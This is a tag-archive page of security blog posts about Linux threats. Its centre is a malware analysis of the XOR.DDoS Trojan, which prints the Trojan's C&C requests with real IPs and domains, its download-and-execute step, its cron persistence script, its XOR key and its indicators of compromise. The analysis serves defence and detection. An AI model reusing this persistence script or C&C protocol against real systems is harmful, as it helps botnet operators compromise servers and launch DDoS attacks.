Tag Archives: Linux

Be careful if you use Linux in your company: It is not immune

linux malware

The most common open operating systems are often seen, and not without its reasons, as a good option for companies. Unlike Windows, installation is free or costs very little and they do not need constant upgrading.

Another benefit is security. Viruses often target Windows computers and there is no place for them on devices running this software. Therefore, many IT departments choose open operating systems. However, despite their many strong points, they are not immune (if anyone thought otherwise).

2014 was not a good year for Linux. During the year, different types of malware and vulnerabilities affecting this software were detected, ending its reputation as unbreachable and giving its followers something else to worry about; from now on, they will have to pay more attention to the security of their computers.

Linux

One of these concerns comes in the form of Turla, malicious software that is also known as Snake or Ouroboros. It is believed to have come from Russia but it has been infecting Windows computers worldwide for years. Recently, a version of this Trojan targeting Linux was also detected.

Turla uses a backdoor to give cyber-criminals access to the computer, as if they were just another user, without needing to use the ‘root’ account (the account that has all rights and permissions). As a result, the restrictions that the operating system puts on this type of entry are bypassed.

Home users, in principle, do not need to worry, but the same does not apply to companies. Those who use the aforementioned malware usually do so for corporate espionage or surveillance, not for stealing credit card numbers.

In addition, X.org, a server on which open-source graphic interfaces can be run (including Linux), is also vulnerable. Several vulnerabilities have been published that make its users an easy target for cybercriminals.

Another security flaw that has been on the operating system for years is Shellshock, which does not affect Windows. The bug lies in the program that parses the open software commands (Bash). When a Linux device connects to an insecure Wi-Fi network, this window allows a Trojan to get into the device without any problems. Fortunately, the security patches released have fixed the hole.

But security flaws and malware are not the only headaches of open operating system users. It is not always easy to get the security patches prepared by developers. Whereas access to modifications to search engines and other important programs is guaranteed, the same does not occur with other components.

Linux-firefox

An example is what happened with Owncloud, an application for storing files online in open format (an alternative to the well-known Dropbox). When installed under Ubuntu, one of the most popular Linux distributions, it did not execute any security updates. The developer had stopped working on the tool, leaving it at the mercy of cyber-criminals.

Something similar happens with other open-source programs that are not widely used or distributed, such as the user interface Manjaro, which has not received any security modification for a long time either.

Do you use Linux at home or on your computer at work?

The post Be careful if you use Linux in your company: It is not immune appeared first on MediaCenter Panda Security.

Linux DDoS Trojan hiding itself with an embedded rootkit

10867127_1516649011939387_257681840_nAt the end of September 2014, a new threat for the Linux operating system dubbed XOR.DDoS forming a botnet for distributed denial-of-service attacks was reported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static properties of related Linux executable and encryption methods used. Later, we realized that the installation process is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In this blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting attack commands.

Installation Script & Infection Vector

The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script. The script contains procedures like main, check, compiler, uncompress, setup, generate, upload, checkbuild, etc. and variables like __host_32__, __host_64__, __kernel__, __remote__, etc. The main procedure decrypts and selects the C&C server based on the architecture of the system.

In the requests below, iid parameter is the MD5 hash of the name of the kernel version. The script first lists all the modules running on the current system by the command lsmod. Then it takes the last one and extracts its name and the parameter vermagic. In one of our cases, the testing environment runs under “3.8.0-19-generic SMP mod_unload modversions 686 “, which has the MD5 hash equal to CE74BF62ACFE944B2167248DD0674977. 

Three GET requests are issued to C&C. The first one is performed by the check procedure (note the original misspelling):

request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Then compiler procedure issues another GET request in which parameters like C&C servers, version info, etc, are passed to the server where they are compiled into a newly created executable:

request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!

Finally, the third GET request downloads the customized version of the Trojan’s binary in the form of a gzip archive, which is unpacked and executed:

request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok

The previous steps run only in the case that there already  is a built version for the current kernel version on the server side. If not, the script locates the kernel headers in /lib/modules/%s/build/ directory, where %s means the return value after calling the command uname with parameter r,  then packs all files and uploads them to the C&C server using a custom uploader called mini. The steps of the first scenario follows.

The rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the vermagic value of LKM needs to agree with the version of the kernel headers installed on the user’s system. That’s the motivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the rootkit component.

Structure & Persistence

The binary structure of the main executable is as follows:

elf_xorddos_scheme

The persistence of the Trojan is achieved in multiple ways. First, it is installed into the /boot/ directory with a random 10-character string. Then a script with the identical name as the Trojan is created in the /etc/init.d directory. It is together with five symbolic links pointing to the script created in /etc/rc%u.d/S90%s, where %u runs from 1 to 5 and %s is substitute with the random. Moreover, a script /etc/cron.hourly/cron.sh is added with the content:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’
for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

The line “*/3 * * * * root /etc/cron.hourly/cron.sh” is inserted in the crontab.

The functionality of the main executable lies in three infinite loops responsible for 1. downloading and executing instructions in a bot’s configuration file, 2. reinstalling itself as the /lib/udev/udev file,  and 3. performing flooding commands. The configuration file contains four categories of lists: md5, denyip, filename and rmfile and mean killing a running process based on its CRC checksum, on the active communication with an IP from the list, on a filename, and finally removing a file with a specified name. In the next figure, a fragment of the config file is displayed (known filenames connected with competing flooding Trojans are highlighted):

elf_config

The lists of processes to kill or remove before its own installation is typical for flooding Trojans.

Also we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for routers, Internet of Things devices, NAS storages or 32-bit ARM servers (however, it has not been observed in the wild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called daemondown:

elf_decconf_arm

A few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as /lib/libgcc4.so file, the unique file containing its identification string (see later) was /var/run/udev.pid, the initialization script was /etc/cron.hourly/udev.sh and the rootkit features were completely omitted. The presence of all these files could serve as an indicator of compromise (IoC).

LKM Rootkit

Trojans for the Windows platform have used various rootkit features for a very long time. It is known that some trojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly shared and available since 2006).  We presented research related to these malicious DDoS tools at Botconf 2014 in a survey called Chinese Chicken: Multiplatform-DDoS-Botnets. Now there is a flooding Trojan for Linux that also contains an embedded rootkit. It’s main functionality is to hide various aspects of the Trojan’s activity and is provided by procedures in the switch table:

elf_rootkit_jumptable

The Trojan running in the userspace requests these features from the rootkit in the kernel by ioctl command with a specific code (0×9748712). The presence of the rootkit is first checked by opening a process with the name rs_dev:

elf_rootkit_ioctl

The own request needs two parameters: One specifies the number of the command to be performed by the rootkit, and the other one is the number of the port to be hidden. Below is an example of how the Trojan hides the TCP port (notice the task value 3):

elf_rootkit_hideport

Based on the procedure names, it is likely that the malware authors were inspired by the open source project called Suterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the first banking Trojan for Linux desktops.  It also borrowed part of its code from an existing open source project, namely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM”. Another article related to Suterusu was published in January 2013.

C&C communication

The communication is encrypted in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid containing an unique magic string of length 32 bytes is stored and utilized as an unique identifier of a victim’s machine within the communication. There is a list of C&C commands, for which the bot listens to: To start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get list of processes to kill:

elf_commands_jump_table

The list of C&Cs is stored in the shell script in the __remote__ variable. The Trojan first sends information about the running system to the C&C server (very likely to be displayed on a panel of a botnet operator). The replies usually arrived in a form of a command. The header of the command is 0x1C bytes long and is stored within a structure called Header. The first command is to stop any flooding attack and the next one to start one with the list of hosts provided. The entries of the Header are shown below. Highlighted parameters are the size of the total size of a command (Size, 0x102C), the task number (Order, 0×3, i.e. _cmd_start in the switch table), and the number of flooding tasks (Task_Num, 0xF):

elf_header_flood_from_c2

The rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see an IP address (red color) and ports (green color) which will be flooded by the Trojan and other parameters of the DDoS attack (e.g. grey color decides the type of  attack:  SYN/DNS).

elf_command_victims

Acknowledgement

Thanks to my colleague, Jaromír Hořejší, for cooperation on this analysis. Pop-art was created by the independent digital artist Veronika Begánová.

Sources

Here are the samples connected with the analysis:

Install script BA84C056FB4541FE26CB0E10BC6A075585
990F3CE3CDE2B49475022AD5254E5B
BV:Xorddos-B [Trj]
Xorddos Uploader 44153031700A019E8F9E434107E4706A705
F032898D3A9819C4909B2AF634F18
ELF:Xorddos-J [Trj]
Xorddos Trojan for EM_386 AD26ABC8CD8770CA4ECC7ED20F37B510E
827E7521733ECAEB3981BF2E4A96FBF
ELF:Xorddos-A [Trj]
Xorddos Trojan for EM_x86_64 859A952FF05806C9E0652A9BA18D521E57
090D4E3ED3BEF07442E42CA1DF04B6
ELF:Xorddos-A [Trj]
Xorddos Rootkit 6BE322CD81EBC60CFEEAC2896B26EF015D
975AD3DDA95AE63C4C7A28B7809029
ELF:Xorddos-D [Rtk]
Xorddos Trojan for EM_ARM 49963D925701FE5C7797A728A044F09562
CA19EDD157733BC10A6EFD43356EA0
ELF:Xorddos-I [Trj]
Xorddos Trojan no rootkit 24B9DB26B4335FC7D8A230F04F49F87B1F
20D1E60C2FE6A12C70070BF8427AFF
ELF:Xorddos-K [Trj]

How do open source tools stay secure?

Security of open source code is a hot topic, what with Heartbleed, Shellshock, and Poodle making the news. Open source code is now widely used everywhere, from big enterprises to small businesses. This recorded webinar discusses how to keep open source tools secure,

The post How do open source tools stay secure? appeared first on We Live Security.

Operation Windigo: “Good job, ESET!” says malware author

Following the recognition at Virus Bulletin 2014 of ESET’s research on Operation Windigo, I took the opportunity to ask Marc-Etienne Léveillé – who worked directly on the Operation Windigo report a few questions. Marc-Etienne is a malware researcher at ESET.

The post Operation Windigo: “Good job, ESET!” says malware author appeared first on We Live Security.

Shellshock vulnerability: should we be concerned?

We are continually hearing about bugs and vulnerabilities that could potentially be serious. The latest one named ShellShock can potentially be used to remotely take control of almost any system that is using a software component called Bash. This sounds devastating and it course of could be, but don’t start running for the hills or deciding to unplug from the Internet quite yet though.

Bash is a software component that exists on many Linux systems including Apple’s Mac OSX. As Linux is the operating system used on a large number of the web servers, a bug like this could mean cybercriminals have the potential to exploit the vulnerability and cause harm to users of the web server or indeed to the company whose web server it is. They do this by inserting malware on the server that could potentially collect data, cracks passwords or do something particularly malicious.

At the time of writing this blog there is already a large number of patches available that address this vulnerability for servers and reputable companies have teams in place that watch for these alerts and update their servers to protect them and the users of the services they offer. A good example is our own security team here at AVG who immediately ran an audit to see if we had any servers that may have this vulnerability, and they have already confirmed that our servers are safe.

 

If you are a Mac user should you be concerned and what do you need to do?

Apple has, as expected, reacted quickly and is releasing an automatic update to OSX that users will be prompted to install. They have also made it clear that the issue does not affect the majority and is an issue for power users that take advantage of the advanced UNIX services within OSX. If the previous sentence has baffled you then you are in the group that Apple say are not at risk.

Even as a power user at home you are likely to be sitting behind a firewall that would detect someone trying to execute commands on your machine and they would be blocked. However bad guys may well try and trick users to into installing files that could leave them more vulnerable to attack, a good rule is to not click something that you don’t recognize and remember the update will only come directly from Apple. When you see the update appear through on your Mac, install it immediately so that you stay safe.

There are also other devices in our homes that run Linux. Many of the routers and broadband modems we use to connect to the Internet also utilize Linux as an operating system and because of this we recommend you watch for updates from those vendors and take the action to install them. If your router is provided by your ISP then they should push the update to the router automatically.

It is good practice to allow the automatic updates on your devices so that they are maintained by the manufacturer of the device to protect you from issues like this. Having up to date anti-virus software installed and active is also of paramount importance in today’s environment where more of our data than ever before is held by us on our devices. The protection provided will detect and block an exploit such as this where cybercriminals attempt to install malware on your machine. AVG’s Free Antivirus is available for Mac and PC users and can be downloaded from www.avg.com

What to do about Shellshock bash bug on Mac OS X, web servers, routers, and more

The “Bash Bug” or “Shellshock” vulnerability means a wide range of devices, servers and computers, including Mac OS X, will need to be patched to prevent abuse by malicious persons. Here’s advice about what to do and links to more in-depth resources.

The post What to do about Shellshock bash bug on Mac OS X, web servers, routers, and more appeared first on We Live Security.